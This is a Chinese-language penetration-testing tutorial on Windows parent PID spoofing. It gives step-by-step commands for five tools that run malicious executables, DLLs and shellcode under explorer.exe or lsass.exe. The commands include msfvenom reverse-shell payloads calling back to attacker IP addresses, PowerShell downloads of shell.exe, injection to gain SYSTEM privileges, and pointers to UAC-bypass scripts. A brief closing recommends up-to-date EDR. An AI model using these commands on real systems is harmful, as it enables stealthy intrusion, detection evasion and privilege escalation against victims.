概述
父进程欺骗是一种访问令牌操作技术,通过将恶意文件的PPID指定为explorer.exe等合法进程的PPID,可帮助攻击者规避启发式检测等防御技术。
该欺骗可通过使用本地API调用来执行,该调用可帮助攻击者显式指定PID,如C++中的CreateProcess调用。正如我们将在本文中看到的那样,这种显式分配也可能具有某些附带好处。
MITRE 战术:权限提升(TA0004)和 防御规避(TA0005)
MITRE ATT&CK技术:T1134 :Windows访问令牌模拟窃取以及利用
子技术:T1134.004 :访问令牌操作:父 PID 欺骗
背景:
子进程监控是威胁狩猎中最常见的指标之一。应急响应人员可能会分析如果conhost.exe或cmd.exe进程是从Adobe Reader或MS Excel等零相关的应用生成的,则表明可能存在潜在威胁。安全防护软件会在启发式检测下监控此行为,并向管理员发出警报。
父PID(PPID)欺骗方法可以绕过AV/EDR检测,使其认为是lsass.exe这样的合法进程在进行活动。它通过欺骗进程的PID以匹配其父进程的PID来做到这一点。这种方法可能带来的另一个好处是,如果父进程以SYSTEM权限运行,则可以凭借访问令牌的继承,使其子进程也具有相同的SYSTEM权限。
【——全网最全的网络安全学习资料包分享给爱学习的你,关注我,私信回复领取获取——】
1.网络安全多个方向学习路线
2.全网最全的CTF入门学习资料
3.一线大佬实战经验分享笔记
4.网安大厂面试题合集
5.红蓝对抗实战技术秘籍
6.网络安全基础入门、Linux、web安全、渗透测试方面视频
进程、PID和PPID
进程:在Windows中,应用程序由一个或多个进程组成。简单来说,当前正在运行的程序的一部分称为进程。不同的应用程序可能会使用相同的进程(如cmd.exe),并且为避免歧义,会分配一个整数来区分一个进程和另一个进程。该整数称为PID。
PID:代表进程标识符 (PID),它是正在运行的进程的数字表示。Windows中通过GetCurrentProcessID()函数返回指定进程的PID。
父进程:父进程是可以派生多个子进程的进程。例如,命令explorer.exe /e,/root,"C:WINDOWSSystem32cmd.exe"将派生cmd.exe作为父进程explorer.exe的子进程。在代码中,父进程可以使用fork()系统调用来派生子进程。
PPID:代表父进程标识符(PPID),它是提供给父进程的数字表示形式。任何包含子进程的进程都存在父子关系。
方法一(使用C++程序进行PID欺骗)
Didier Stevens最初在这里的帖子中谈到了Windows API——"CreateProcess"这种方法。还发布了一个用C++编写的利用程序(SelectMyParent)。代码可以在这里下载:https://web.archive.org/web/20210225035252/http:/www.didierstevens.com/files/software/SelectMyParent_v0_0_0_1.zip
请注意,如果您使用的是更高版本的Visual Studio,可能需要重新生成此EXE。在Visual Studio2022中,我删除了Debug and Release文件夹中的SelectMyParent.pdb文件,并重新生成了项目以使其运行。
在进程管理器中,你会看到explorer.exe在PID 1624上运行
因此,要在这个父explorer.exe进程下运行我们自己的二进制文件,可以像这样使用SelectMyParent.exe,你会看到在PID 1624下创建了一个新进程。
E:>SelectMyParent.exenotepad1624可以看到在PID 2836启动了notepad.exe
同样,我们也可以运行自己的EXE。让我们先用msfvenom创建一个可以反弹shell的exe
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=172.19.218.248 LPORT=7777 > shell.exe在受感染端,使用tasklist /v查看进程运行详情。
在列表中,可以看到explorer.exe进程以test身份在进程ID 1624上运行。
然后运行生成的shell.exe,并附属在explorer.exe的PID下
监听端收到的shell便是explorer.exe进程用户的权限
如果利用具有system权限的进程,即可进行提权。
方法二(使用Powershell DLL注入进行PID欺骗)
F-Secure实验室利用powershell创建了替代上述Didier二进制文件的方案。它也可以用于父进程欺骗,与上述方法不同之处在于,可以将带有注入的DLL的子进程派生为子进程,功能更强大。代码可以在这里下载https://github.com/countercept/ppid-spoofing,首先在受害者机器上查看进程ID,这里我们选择Powershell的PID 24092作为父进程ID。
利用msfvenmon生成要注入的DLL
msfvenom-pwindows/x64/shell_reverse_tcpexitfunc=threadLHOST=172.27.115.207LPORT=7777-fdll>shell.dll[-]Noplatformwasselected,choosingMsf::Module::Platform::Windowsfromthepayload[-]Noarchselected,selecting arch:x64fromthepayloadNoencoderspecified,outputtingrawpayloadPayload size:460bytesFinal size of dll file:8704bytes然后进行注入:
Import-Module.PPID-Spoof.ps1PPID-Spoof-ppid24092-spawnto"C:WindowsSystem32notepad.exe"-dllpath.shell.dll可以看到注入的DLL在Notepad.exe中加载执行了。
通过这种方式,PPID 24092上的powershell.exe进程派生了一个带有插入代码(由DLL提供)的notepad.exe。
方法三(使用Powershell 脚本入进行PID欺骗)
Decoder-it根据Didier Stevens提供的指南开发了一个powershell脚本,使用了CreateProcessFromParent()方法,可以在此处找到的psgetsystem脚本:https://github.com/decoder-it/psgetsystem.git,可用于通过PID欺骗派生子进程。首先我们查看所需进程的PID。这里以lsass.exe为例
然后执行如下命令:
powershell-epbypassImport-Module.psgetsys.ps1[MyProcess]::CreateProcessFromParent(520,".shell.exe","")如果报错,可能是UAC的问题,需要先绕过UAC,或者是权限过低,需要提权。
绕过UAC脚本可以在这里找到:https://github.com/samratashok/nishang/tree/master/Escalation
然后下载所需的文件,然后执行命令
$client=new-object System.Net.WebClient $client.DownloadFile("http:///psgetsys.ps1",".psgetsys.ps1") $client.DownloadFile("http:///shell.exe",".shell.exe") Import-Module .psgetsys.ps1 [MyProcess]::CreateProcessFromParent(520,".shell.exe","")可以看到在lsass.exe下成功创建了子进程,因为lsass.exe是system权限,所以反弹shell也获取到了system权限。
方法四(使用C程序进行PID欺骗)
py7hagoras开发了GetSystem项目,是上述技术的C实现,可以在这里找到:https://github.com/py7hagoras/GetSystem.git
在目标机上下载GetSystem.exe,然后执行GetSystem.exe 自定义程序 -O 目标进程名
GetSystem.exeshell.exe-Olsass注意:这里可能也需要绕过UAC或者提权,不然执行不成功。
方法五(通过PID欺骗注入Shellcode)
Chirag Savla使用C开发了一个名为ProcessInjection的出色工具,它可以执行许多功能,包括通过PID欺骗进行的进程注入。通过提供有效的PID,该工具会尝试使用CreateProcess等原生API调用来欺骗PID,然后将代码注入其中。该工具支持hex、C和base64格式的shellcode,也可以选择 DLL 注入。工具在这里下载:https://github.com/3xpl01tc0d3r/ProcessInjection
首先,使用msfvenom创建一个shellcode代码
msfvenom-p windows/x64/shell_reverse_tcp -exitfunc=thread LHOST=172.19.218.248LPORT=7777-f hex > /hex.txt然后在目标机中下载
使用ProcessInjection.exe进行注入
ProcessInjection.exe /ppath:"C:WindowsSystem32calc.exe"/path:"hex.txt"/parentproc:explorer /f:hex /t:1参数说明:
/ppath:目标 EXE 的进程路径(需要注入进程的路径)
/path:shellcode文件路径
/parentproc:父进程名称,目标EXE应在此进程下生成
/f:shellcode文件类型
/t:注入技术
支持的五种注入方式:
1) Vanilla Process Injection2) DLL Injection3) Process Hollowing4) APC Queue5) Dynamic Invoke - Vanilla Process Injection
我们可以看到calc.exe在explorer.exe下,而shellcode则在calc.exe中执行。
也可以进行DLL注入
ProcessInjection.exe /ppath:"C:WindowsSystem32calc.exe"/path:"shell.dll"/parentproc:explorer /t:2其他工具
https://github.com/Mr-Un1k0d3r/RemoteProcessInjection
https://github.com/xpn/getsystem-offline
https://github.com/hlldz/APC-PPID
https://github.com/ewilded/PPID_spoof
https://github.com/christophetd/spoofing-office-macro (VBA实现)
在Metasploit中Meterpreter 可以使用migrate命令或者后渗透模块post/windows/manage/migrate也可以实现进程迁移。
总结
攻击者广泛使用该技术进行检测规避,并增加了应急响应人员检测IoC的时间。针对许多过时的和未打补丁的EDR解决方案,可以使用此技术轻松规避检测。通过本文,告诉大家在组织中应该使用最新的EDR解决方案以及在可以捕捉此类技术的优质产品中使用智能检测功能的重要性。
免责声明:内容来自用户上传并发布,站点仅提供信息存储空间服务,不拥有所有权,本网站所提供的信息只供参考之用。